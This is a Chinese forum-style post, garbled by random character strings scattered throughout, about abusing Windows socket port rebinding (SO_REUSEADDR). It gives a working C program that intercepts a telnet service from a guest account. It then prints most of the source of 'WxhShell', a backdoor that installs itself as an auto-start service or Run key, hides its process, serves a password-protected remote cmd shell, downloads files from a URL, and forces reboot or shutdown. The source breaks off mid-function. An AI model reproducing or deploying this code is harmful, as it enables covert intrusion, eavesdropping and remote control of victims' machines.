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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [\e2 ID; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0CRk&_ht :u>9H{a saddr.sin_family = AF_INET; Nb@zn0A(; tXnD>H YV saddr.sin_addr.s_addr = htonl(INADDR_ANY); E`>u*D$un~ H:M;H=0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G[5z3 ,\n%e' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AVbGJ+ 2DTBL:?` 这意味着什么?意味着可以进行如下的攻击: |v%xOl " tUF,G(< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DQOEntw x4vowF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H '(Ky /xcl0oe( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@Iy&Qo BTu_$5F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,a/<t" Z,jK(7D(
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L cpz(W^ B`SHr"k!V[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R
s)Nz< d Iib39?D W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O}IRM|r" g x~fZOF_ #include #ig* ! #include eDPmUlC+- #include !Yan}{A, #include 5<y pK`Kq DWORD WINAPI ClientThread(LPVOID lpParam); \E<t'\>@X int main() evBr{oi@ { 1]<wZV}. WORD wVersionRequested; E}WO?xxv74 DWORD ret; ~'9>jpnw WSADATA wsaData; n@Ar%%\ BOOL val; Ce0YO~I SOCKADDR_IN saddr; V]$Tbxg SOCKADDR_IN scaddr; g/ict2! int err; V
2WcPI^ SOCKET s; l6lyRJ SOCKET sc; LiF(#OuZ int caddsize; BcvCm+.S: HANDLE mt; Cg!]x
o DWORD tid; igD,|YSK`z wVersionRequested = MAKEWORD( 2, 2 ); &m>sGCZ err = WSAStartup( wVersionRequested, &wsaData ); \%FEQa0u if ( err != 0 ) { #K3`$^0 s printf("error!WSAStartup failed!\n"); Uxyj\p return -1; /.u0rxoRP} } DJmT]Q]o) saddr.sin_family = AF_INET; &~xzp^& ?U`~,oI0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m%bw$hr '!%Zf;Fjr saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _K?{DnTb saddr.sin_port = htons(23); fQ,L~:Y = if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MZ{gU>K+ { ;m+*R/ printf("error!socket failed!\n"); =V@5W[bV return -1; w<ol$2&B } sr&hQ val = TRUE; #Wz7ju; //SO_REUSEADDR选项就是可以实现端口重绑定的 5Cp6$V|/kv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {iI"Lt { QD}'2{M! printf("error!setsockopt failed!\n"); !4(X9}a return -1; cBO.96ZHE } VR @V3 ~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GYX/G>-r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SGd[cA
K o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BP6|^Q 8pQx6QE if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KL8G2"Z { tR,&|?0 ret=GetLastError(); R3;,EL{H& printf("error!bind failed!\n"); 8<Y*@1*j return -1; BJ0P1vh6M } %V +hm5Q listen(s,2); u]W$'MyY while(1) c /G4@D> { 9\_^"5l caddsize = sizeof(scaddr); DcO$&)Eb //接受连接请求 /YP,Wfd% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wN|;_~h2 if(sc!=INVALID_SOCKET) [p+]H?(A { DHUK_#! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); < )dqv0= if(mt==NULL) m0I)_R#X[ { m5wfQ_}}ss printf("Thread Creat Failed!\n"); /Ria"lLv break; $S_xrrE# } $Z{ap } "~1{|lj|) CloseHandle(mt); 4@iMGYR9!s } MY8[)<q" closesocket(s); 78=a^gRB WSACleanup(); ")'9:c return 0; K}vP0O} } K@JGGgrE`! DWORD WINAPI ClientThread(LPVOID lpParam) *{t]fds { Ihd{@6m SOCKET ss = (SOCKET)lpParam; Hwz.5hV" SOCKET sc; >1}RiOd3 unsigned char buf[4096]; ~rUcko8 SOCKADDR_IN saddr; d@$]/=% long num; -`I&hzl6E DWORD val; \E(Negt7 DWORD ret; GOKca%DT= //如果是隐藏端口应用的话,可以在此处加一些判断 AYVkJq ? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 W>+/N4 saddr.sin_family = AF_INET; %nRz~3X|+v saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^=COgO]e saddr.sin_port = htons(23); 8|z@"b l) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1}7Q2Ad w { jc$gy`,F printf("error!socket failed!\n"); m@Q%)sc) return -1; ^69ZX61vt } e5}KzFZmZ val = 100; KW&vX%i(. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |7pi9 { \y7kb ret = GetLastError(); dcd9AW= return -1; !_No\O } QY^v*+lr\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pV^(8!+ { N!{waPbPi ret = GetLastError(); 3axbWf3[ return -1; ;VS\'#{e } 'm4v)w<y# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7m<;"e) { [ r<0[ printf("error!socket connect failed!\n"); G-DvM6T
closesocket(sc); z6Xn9 closesocket(ss); MYlPG1X=? return -1; >jBa } )LdS1% while(1) z m&?G { eyIbjgpV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7`G
FtX} //如果是嗅探内容的话,可以再此处进行内容分析和记录 A7hWAq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >T)#KQ1t num = recv(ss,buf,4096,0); uto
E}U7] if(num>0) D-S"?aO- send(sc,buf,num,0); B.oD9 <9 else if(num==0) Rnd.<jz+Y break; ,K-?M5(n9 num = recv(sc,buf,4096,0); !D!1%@
e if(num>0) )Bb:?!EuEH send(ss,buf,num,0); fJdTVs@ else if(num==0) BMJsR0 break; *;0Ods+IcY } EqjaD/6Y` closesocket(ss); "?f_U/+D< closesocket(sc); .zQ'}H1.C return 0 ; "Ei' FM } .}4^b\ dJf#j?\[ 7A6: * ========================================================== bPL.8hX
d"#& VlKcv 下边附上一个代码,,WXhSHELL -nL!#R{e Y
*?hA' ========================================================== 7FYq6wi [izP1A$r#Q #include "stdafx.h" :%2uZ/cG( EjjW%"C, #include <stdio.h> ~ ~U, #include <string.h> 2$=I+8IL #include <windows.h> v9K=\ j #include <winsock2.h> rWS],q=c #include <winsvc.h> '1NZSiv+C? #include <urlmon.h> rT/4w#_3 g5>c-i #pragma comment (lib, "Ws2_32.lib") U_oei3QP #pragma comment (lib, "urlmon.lib") A`
)A=L $>6Kn`UX #define MAX_USER 100 // 最大客户端连接数 [`/d$V!e #define BUF_SOCK 200 // sock buffer *{1]b_< #define KEY_BUFF 255 // 输入 buffer {K ,-fbE p/4}SU #define REBOOT 0 // 重启 *;!p#qL #define SHUTDOWN 1 // 关机 RuBL_Vi YLkdT% #define DEF_PORT 5000 // 监听端口 :kw14?]_ <HMmsw #define REG_LEN 16 // 注册表键长度 &|#z" E^- #define SVC_LEN 80 // NT服务名长度 ~z&Ho k.K;7GZC // 从dll定义API 3^2P7$W= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3uJ>:,~r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F0 ^kUyF| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n\'@]qG)Z4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GGF;4 +~l`rJ // wxhshell配置信息 -h1FrDBt struct WSCFG { :j[a X7Sq2 int ws_port; // 监听端口 0OF ]|hH char ws_passstr[REG_LEN]; // 口令 5nh:S0M6V int ws_autoins; // 安装标记, 1=yes 0=no ;{S7bH'6m char ws_regname[REG_LEN]; // 注册表键名 S/H!a:_5r char ws_svcname[REG_LEN]; // 服务名 {q^?Rw char ws_svcdisp[SVC_LEN]; // 服务显示名 J]mq|vE char ws_svcdesc[SVC_LEN]; // 服务描述信息 M F_VMAq char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r>.^4Z@ int ws_downexe; // 下载执行标记, 1=yes 0=no +8eW/Bs@2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <F#/wU^9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }\wTV*n`X 6S6E
1~ }; 8^)K|+_'m w?Nx^)xX // default Wxhshell configuration xjO((JC struct WSCFG wscfg={DEF_PORT, /'WVRa "xuhuanlingzhe", +:m'a5Dm 1, uU#7SX(uu "Wxhshell", ,.PW
qfb "Wxhshell", vddh 2G "WxhShell Service", 9G)q U "Wrsky Windows CmdShell Service", 8"2X 8C8 "Please Input Your Password: ", /m+q!yi & 1, mIUpAOC`"Z " http://www.wrsky.com/wxhshell.exe", xfqW~& "Wxhshell.exe" m(c5g[6nO }; B}A7Usm a eo/4 // 消息定义模块 J^]Y`Q` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W$_@9W(Bl char *msg_ws_prompt="\n\r? for help\n\r#>"; wU =@,K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ;.wWw" ) char *msg_ws_ext="\n\rExit."; }iF"&b0n" char *msg_ws_end="\n\rQuit."; {Kh u'c char *msg_ws_boot="\n\rReboot..."; w+Cs=! char *msg_ws_poff="\n\rShutdown..."; q9`!T4, char *msg_ws_down="\n\rSave to "; ]/C1pG*o Tl ?]K char *msg_ws_err="\n\rErr!"; Z-BPC|e char *msg_ws_ok="\n\rOK!"; |Lz:i+; <^,5z!z} char ExeFile[MAX_PATH]; rBUdHd9 int nUser = 0; T-L;iH~0 HANDLE handles[MAX_USER]; 0o+2]`q)Q int OsIsNt; V$7SVq u teI[Q SERVICE_STATUS serviceStatus; 5lMm8<v SERVICE_STATUS_HANDLE hServiceStatusHandle; jSyF]$" -{A!zTw1w // 函数声明 nS}XY int Install(void); B[R1XpB7 int Uninstall(void); R;*3";+v|: int DownloadFile(char *sURL, SOCKET wsh); 4LBMhLy int Boot(int flag); Zk.LG Yz void HideProc(void); f/:XIG int GetOsVer(void); e2v[ma- int Wxhshell(SOCKET wsl); 5$|wW}SA void TalkWithClient(void *cs); _=.f+1W int CmdShell(SOCKET sock); liUrw7, int StartFromService(void); JRC+>'}Xj int StartWxhshell(LPSTR lpCmdLine); Y M_\ ZK: K]
^kUN_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rj|8lK;, VOID WINAPI NTServiceHandler( DWORD fdwControl ); #.(6.Li }cL9`a9j // 数据结构和表定义 poqx
O SERVICE_TABLE_ENTRY DispatchTable[] = .cQ<F4)!tu { JWa9[Dj {wscfg.ws_svcname, NTServiceMain}, EEaf/D/ jt {NULL, NULL} Z5 uetS^ }; I]]3=?Y \I@=EF- & // 自我安装 z~/z>_y$nv int Install(void) R^.oM1qu| { L//Z\xr| char svExeFile[MAX_PATH]; Yd4J: HKEY key; O/9 dPod strcpy(svExeFile,ExeFile); XF{ g~M &cSTem
0 // 如果是win9x系统,修改注册表设为自启动 >5&'_ if(!OsIsNt) { k;w1y( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,OX(z=i_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O;9'0-F ? RegCloseKey(key); b<de)MG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x?:[:Hf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #ra~Yb-F RegCloseKey(key); G SXe=? return 0; %pNK ?M+ } 'b#`8k~> } ngprTMO$& } %X Jv;| else { fQ5VRpWGn kzG mDi // 如果是NT以上系统,安装为系统服务 ){|Bh3XV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ErK5iTSD if (schSCManager!=0)
y#5xS { J#7\R':}zl SC_HANDLE schService = CreateService $9DV} ( 1D03Nbh|5 schSCManager, IcMfZ{H1 wscfg.ws_svcname, 05mjV6j7m wscfg.ws_svcdisp, -t_t3aU| SERVICE_ALL_ACCESS, CfKvC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :?%$={m SERVICE_AUTO_START, FUic7> SERVICE_ERROR_NORMAL,
")MjR1p svExeFile, yrOWC NULL, }{Ab:+aNd NULL, ct+ ;W NULL, ;*^2,_ NULL, JsohhkJNGi NULL ezn%*X
y, ); ~Rd,jfx if (schService!=0) p
R=FH# { vt@5Hb) CloseServiceHandle(schService); { O+d7,C CloseServiceHandle(schSCManager); Q>Rjv.1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hh/C{ l strcat(svExeFile,wscfg.ws_svcname); :ulOG{z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h/E+r:2] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r(;sX RegCloseKey(key); qPeaSv]W return 0; @v^;,cu'8 } .{[+d3+, } 0$)uOUVJ CloseServiceHandle(schSCManager); Y 3W_Z } w U".^
+ } 77D>;90>? 7kX;|NA1 return 1; `}t<5_ } dm8N;r/w 4D+S\S0bk // 自我卸载 B:Y"X:Y int Uninstall(void) = F*SAz { WzD=Ol HKEY key; rCt8Q&mzf ]-ad\PI$ if(!OsIsNt) { cAFYEx/( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L'(ei7Z RegDeleteValue(key,wscfg.ws_regname); 1dDK(RBbQ RegCloseKey(key); ^pgVU&-~]/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |^l17veA@ RegDeleteValue(key,wscfg.ws_regname); UnTnc6Bo7W RegCloseKey(key); F|mppY'<J return 0; &CP]+ at } v\&C]W] } dsJMhB_41U } @8\7H'K"\ else { *CtWDUxSdW {`RCh]W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ckDWY<@v if (schSCManager!=0) |E]`rfr { ;t6)(d4z? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sq<ds}o'8l if (schService!=0) \%],pZsA ~ { -hy`Np if(DeleteService(schService)!=0) { 1u `{yl*+? CloseServiceHandle(schService); su2|x CloseServiceHandle(schSCManager); O+f'Ql return 0; 4Nylc.2mi } AFM Ip^F CloseServiceHandle(schService); 76IjM4&a } 4hl`~&yDf CloseServiceHandle(schSCManager); ,a6Oi=+>/U } Z'Uc}M'U } fx74h{3u BYuoeN! return 1; {7F?30: ] } %[l#S*)~ yb/v?q?Fk // 从指定url下载文件 Aq]*$s2\G int DownloadFile(char *sURL, SOCKET wsh) A#;TY:D2 { =|j~*6Hd HRESULT hr; (Zi,~Wqm$ char seps[]= "/"; ;o#wK>pk%M char *token; A?zxF5rfp char *file; ]ykMh char myURL[MAX_PATH]; >Hd Pcsl L char myFILE[MAX_PATH]; V#Pz`D ]r&dWF strcpy(myURL,sURL); y+aL5$x6 token=strtok(myURL,seps); wJ>.I<F6B while(token!=NULL) c}u`L6!I3 { LX%UkfA9 file=token; ZHN}:W/p token=strtok(NULL,seps); Z*Lv!6WS } Y I?4e7Z+ E|9'{3$ GetCurrentDirectory(MAX_PATH,myFILE); +)<H,?/ strcat(myFILE, "\\"); UmNh0nS strcat(myFILE, file); @ak3ZNor send(wsh,myFILE,strlen(myFILE),0); IEj=pI send(wsh,"...",3,0); S(NUuu}S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {8im{]8_ if(hr==S_OK) _ry7[/) return 0; O_^X:0} else -;s-*$I return 1; r>kDRIHB \f-HfYG } m2r%m
y ) mG // 系统电源模块 ,0fYB*jk int Boot(int flag) PvkHlb^x% { <&87aDYz HANDLE hToken; xA#'%|" TOKEN_PRIVILEGES tkp; qJ5gdID1 _ r4wnfy if(OsIsNt) { hcJny OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a"pejW`m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #fkOm
Y7X tkp.PrivilegeCount = 1; PTf.(B"z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Y"*Z2U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MoP,a9p if(flag==REBOOT) { *p>1s!i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 38 HnW return 0; y|O)i
I/g } $/XR/ else { X!=*<GF) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7nOn^f D return 0; -_xC,dwK } cd?a rIV5 } ?:1)=I<A4 else { fNZ:l=L3): if(flag==REBOOT) { N \Wd0b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5^GFN*poig return 0; oEuo@\U05v } g$eZT{{W else { $KGpcl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V9r58hbVT return 0;
l6uUS } %\n&iRwDF } G ?&T0 YkqauyV^ return 1; M!E#T-) } AG==A&d>$ R404\XGL // win9x进程隐藏模块 DHO+JtO void HideProc(void) KJLK]lf}d { TR([u TPeBb8v8D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ok+-#~VTn if ( hKernel != NULL ) <(<19t5 . { fX 41o# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
UW/{q`) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z" !+p{u FreeLibrary(hKernel); `'^&*
7, } raPUx _$PH WP-'gC6K= return; H%\\-Z$# } 8;r7ksE~ mp x/~`c // 获取操作系统版本 .O+qtk! int GetOsVer(void) 9+sOSz~
P { `Wf)qMb OSVERSIONINFO winfo; P=jbr"5Q: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hx]{'? GetVersionEx(&winfo); 6$JRV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E*t0ia8 return 1; fP9k(mQX else D(]])4 return 0; +y Yv"J } 7v~\c%1V }Pj3O~z // 客户端句柄模块 G *f5B int Wxhshell(SOCKET wsl) $*Q_3]AY] { 5_mb+A n, SOCKET wsh; CbA2?( 1o1 struct sockaddr_in client; o5N];Nj DWORD myID; QzQTE-SQ -;?5<>zZ while(nUser<MAX_USER) ?CQ\94kO { "DFj4XKXY9 int nSize=sizeof(client); @lau?@$ja wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j;O{Hvvz if(wsh==INVALID_SOCKET) return 1; 9K8f
##3 gJVakR& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A;sd rA if(handles[nUser]==0) :95wHmk closesocket(wsh); lxRzyx else P7I,xcOm nUser++; bT@7& } xy%lp{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bu'PDy~W, \kiCczW_ return 0; AcN~Q/xU } g#V3u=I8~ yT42u|xZA // 关闭 socket cz/mUU void CloseIt(SOCKET wsh) gz[Ng> D+ { C61KY7iyR closesocket(wsh); -K`0`n} nUser--; :5@cjj ExitThread(0); AAsl) } >R?EJ;h i\B>J?Q\ // 客户端请求句柄 {=7W;uL void TalkWithClient(void *cs) /D_8uTS>d[ { '?Q [.{< ~Xnq(}?ok SOCKET wsh=(SOCKET)cs; Vzz0)`*hQ char pwd[SVC_LEN]; J1"u,H F*( char cmd[KEY_BUFF]; ..7"&-?g{4 char chr[1]; ~aH*ZA*f int i,j; {R[lsdH(X h^$>{0" while (nUser < MAX_USER) { IgC)YIhd d
{moU\W if(wscfg.ws_passstr) { SV]M]CAe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [*?P2.b f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "G|Gyc //ZeroMemory(pwd,KEY_BUFF); uavts9v< i=0; ]k{cPK while(i<SVC_LEN) {
nP?(9;3* oCSf$g8q // 设置超时 QA.B.U7! fd_set FdRead; P _Zf(`jJ struct timeval TimeOut; ;oC85I FD_ZERO(&FdRead); Px=/fO G FD_SET(wsh,&FdRead); Yq/|zTe{ TimeOut.tv_sec=8; R]/F{Xs TimeOut.tv_usec=0; .Rc&EO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )TyL3Z\>( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VQ<Z`5eV Ft`#]=IS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LjXtOF pwd =chr[0]; \I,<G7!0 if(chr[0]==0xd || chr[0]==0xa) { 2Pi}<pG~ pwd=0; & 66G break; I|9e4EX{y } C(iA G i++; $F G4wA } ffm19 B= v_5DeaMF' // 如果是非法用户,关闭 socket FPFt3XL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j@kBCzX } )KBv[| p//">l=Ps send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _V:D7\Gs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K]kL?-A#' a+weBF#Z while(1) { S3qUzK 2E2J=Do ZeroMemory(cmd,KEY_BUFF); sd8o&6 ,fET.s^|U // 自动支持客户端 telnet标准 S*#y7YKI j=0; 4ItXZ o while(j<KEY_BUFF) { J4lE7aFDA~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4sZ^:h,1 cmd[j]=chr[0]; mW8CqW\Q5 if(chr[0]==0xa || chr[0]==0xd) { G0]q(.sOy cmd[j]=0; s|,gn 5 break; =/dW5qy;*+ } c}v:X
Slh7 j++; L1rov } @4$F%[g
h _FdWV? // 下载文件 g4Hq<W" if(strstr(cmd,"http://")) { TF=S \
Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); *~ &W?i if(DownloadFile(cmd,wsh)) X% _~9'#% send(wsh,msg_ws_err,strlen(msg_ws_err),0); tanuP@O else iNQk{n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' R=o,= } I}k!i+Yl else { +p<Y)Z(>6 ?;{A@icr switch(cmd[0]) { PCaa_
2 jsez$m%vs // 帮助
|qbJ]v! case '?': { {v`wQM[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nr(WbD[T break; F=P|vYL&& } cJ[n<hTv // 安装 5utj$ha2 case 'i': { (1jkZ^7 if(Install()) &kO4^ A send(wsh,msg_ws_err,strlen(msg_ws_err),0); B:x4H}`vh else :'!?dszS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L;I/Hp break; 1m![;Pg3 } B2Orw8F // 卸载 ,2kWj7H%7 case 'r': { ?xG #4P<C= if(Uninstall()) ;G\rhk send(wsh,msg_ws_err,strlen(msg_ws_err),0); r% B5@+{so else 5SKu \H\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !8A5Y[(XD break; 3}T&|@* } F%Mlid;1 // 显示 wxhshell 所在路径 Bo~wD|E2 case 'p': { hQet?*diU char svExeFile[MAX_PATH]; nwkhGQ strcpy(svExeFile,"\n\r"); UHCx}LGe strcat(svExeFile,ExeFile); Y*AHwc<w` send(wsh,svExeFile,strlen(svExeFile),0); H+: $ 7; break; OVivJx } X G^
// 重启 x208^=F\\ case 'b': { <QJmdcG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -pjL7/ gx if(Boot(REBOOT)) j5HOdy2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q;^([39DI else { $L`7 J$'^ closesocket(wsh); v~xG*e ExitThread(0); C<7J5 } o1g[(zky break; #/1Bam6 } <T&$1 m{ // 关机 AzQ}}A;TSx case 'd': { WW_X:N~~e\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d6n6 =
[* if(Boot(SHUTDOWN)) ;x7SY;0* send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_A|
else { MR~BWH?@ 1 closesocket(wsh); Wx-{F ExitThread(0); 8uu:e<PLv } Uexb>| break; v>e4a/ } Fd91Y // 获取shell '1{~y3 case 's': { C[Fh^ CmdShell(wsh); cCeD3CuRA% closesocket(wsh); )a6i8b3 ExitThread(0); Gmc"3L break; #"OKO6] } q'@UZ$2 // 退出 Op0
#9W case 'x': { +Rvj]vd}& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]#q dA(Kl CloseIt(wsh); N" 8o0> break; ~Ch`A@=5 } ULJI`I|m // 离开 0O:TKgb&C. case 'q': { 8[Qw8z5- send(wsh,msg_ws_end,strlen(msg_ws_end),0); C6Mb(& closesocket(wsh); p\HXE4d' WSACleanup(); ?|L)!LYx exit(1); ,yT4(cMBk? break; ^1g6(k' } Ry(!<w, } x=Ru@n K; } (5I]um tge [sad}@R7 // 提示信息 vKW%l if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |#sP1w'l] } UxW>hbzr&V } Nhf!;> yJrPb" return; {L+?n*;CA } s 2$R2, sv[)?1S // shell模块句柄 B|%;(bM2C int CmdShell(SOCKET sock) q4Z\y { QL)UPf>Kp STARTUPINFO si; Wm
A:"!~M ZeroMemory(&si,sizeof(si)); f;b(W si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $""[(
d?0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (;n|>l?* PROCESS_INFORMATION ProcessInfo; igp4[Hj char cmdline[]="cmd"; |hpm|eZG"h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o#T,vu0s return 0; &3JbAJ|;X } _
9k^Hd[L$ @ NVq
.z // 自身启动模式 8'?e4;O int StartFromService(void) USbiI% { 1S=I(n?E typedef struct E`X+fJx { A>PM'$"sT DWORD ExitStatus; qvt~wJf< DWORD PebBaseAddress; 6zDJdE'Es DWORD AffinityMask; \Lc
pl-;? DWORD BasePriority; 3!d|K%J ULONG UniqueProcessId; &&m%=i.qK ULONG InheritedFromUniqueProcessId; hA"N&v~ } PROCESS_BASIC_INFORMATION; o`#;[
T&!>lqU!J PROCNTQSIP NtQueryInformationProcess; 8@r+)2 m xWaXb static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sFGXW static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $<yb~z7J ;hg]5r_ HANDLE hProcess; 1
t#Tp$ PROCESS_BASIC_INFORMATION pbi; }^QY<Cp| #v v
